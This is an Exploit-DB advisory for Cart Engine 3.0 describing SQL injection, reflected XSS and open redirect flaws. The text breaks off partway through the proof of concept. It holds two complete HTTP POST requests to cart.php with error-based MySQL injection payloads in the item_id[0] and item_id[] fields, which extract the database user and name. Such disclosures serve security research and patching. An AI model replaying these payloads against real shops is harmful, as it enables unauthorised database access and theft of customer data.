Exploit-DB #34764
Description: Cart Engine 3.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-09-25
Author: Quantum Leap

Exploit:
=== Details ===
Quantum Leap Advisory: http://www.quantumleap.it/cart-engine-3-0-multiple-vulnerabilities-sql-injection-reflected-xss-open-redirect/
Affected Product: Cart Engine
Version: 3.0

=== Executive Summary ===

SQL Injection: Using a specially crafted HTTP request, it is possible to exploit
a lack in the validation[1] of the “item_id[0]” and “item_id[]” input parameters
of cart.php page. Successful exploitation of the vulnerabilities results in read
sensitive data from the database and, in some cases, execute administration
operation on the database or issue commands to the operating system.

Reflected XSS: Using a specially crafted HTTP request, it is possible to exploit
a lack in the neutralization[2] of multiple pages output which includes the user
submitted content. Successful exploitation of the vulnerabilities, results in
the execution of arbitrary HTML and script code in the user’s browser in the context of
the victim user's session trough a “Reflected XSS”.

Open Redirect: Using a specially crafted HTTP request, it is possible to
redirect[3] the normal browsing of users to a malicious site by modifying
untrusted URL input in Referer HTTP header parameter in index.php, cart.php,
msg.php and page.php pages. Successful exploitation of the vulnerabilities
results in phishing scam, user credential theft, malware dissemination.

=== Proof of Concept ===

= SQL Injection (based on MySQL) =

A SQL Injection vulnerability has been detected on cart.php page in Cart Engine
CMS. The function “sql_query” in file “cart.php” doesn’t sanitize the “$item_id”
parameter, so error based and boolean-based blind or time-based blind SQL
Injection attacks can be executed.


## HTTP REQUEST - injection on item_id[0] parameter ##
POST /cart.php HTTP/1.1
Host: eshop.hacme.hac
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://eshop.hacme.hac/detail.php?item_id=8
Cookie: PHPSESSID=iost0tdmvdobp966rbppa514f3; ce3_history[0]=12; ce3_history[1]=8
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]9252347
Content-Length: 774

----------------------------[PII_REDACTED][PII_REDACTED]9252347
Content-Disposition: form-data; name="AXSRF_token"


----------------------------[PII_REDACTED][PII_REDACTED]9252347
Content-Disposition: form-data; name="cmd"

add
----------------------------[PII_REDACTED][PII_REDACTED]9252347
Content-Disposition: form-data; name="item_id[0]"

8' AND (SELECT 22 FROM (SELECT COUNT(*), CONCAT(0x3a,0x3a,(SELECT user()),0x3a,0x3a,FLOOR(RAND()*2))a FROM INFORMATION_SCHEMA.columns GROUP BY a)b) AND 'ql'='ql
----------------------------[PII_REDACTED][PII_REDACTED]9252347
Content-Disposition: form-data; name="qty[0]"

1
----------------------------[PII_REDACTED][PII_REDACTED]9252347
Content-Disposition: form-data; name="qty[0]"

1
----------------------------[PII_REDACTED][PII_REDACTED]9252347--
## EOF HTTP REQUEST ##

## HTTP REQUEST - injection on item_id[] parameter ##
POST /cart.php HTTP/1.1
Host: eshop.hacme.hac
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20140722 Firefox/24.0 Iceweasel/24.7.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://eshop.hacme.hac/detail.php?item_id=13
Cookie: PHPSESSID=aci236dihehpjaldchbt6k6v23; ce3_history[0]=24; ce3_history[1]=13
Connection: keep-alive
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Length: 2353

----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="AXSRF_token"


----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="cmd"

add
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="item_id[0]"

13
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="qty[0]"

1
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="qty[0]"

1
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="prod_opt_3"

3
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="prod_opt_12"


----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="item_id[]"


----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="qty[]"

1
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="item_id[]"

' AND (SELECT 22 FROM (SELECT COUNT(*), CONCAT(0x3a,0x3a,(SELECT database()),0x3a,0x3a,FLOOR(RAND()*2))a FROM INFORMATION_SCHEMA.columns GROUP BY a)b) AND 'ql'='ql
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="qty[]"

1
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="item_id[]"


----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="qty[]"

1
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="item_id[]"


----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="qty[]"

1
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="item_id[]"


----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="qty[]"

1
----------------------------[PII_REDACTED][PII_REDACTED]18084006
Content-Disposition: form-data; name="item_id[]"


-----------------------------1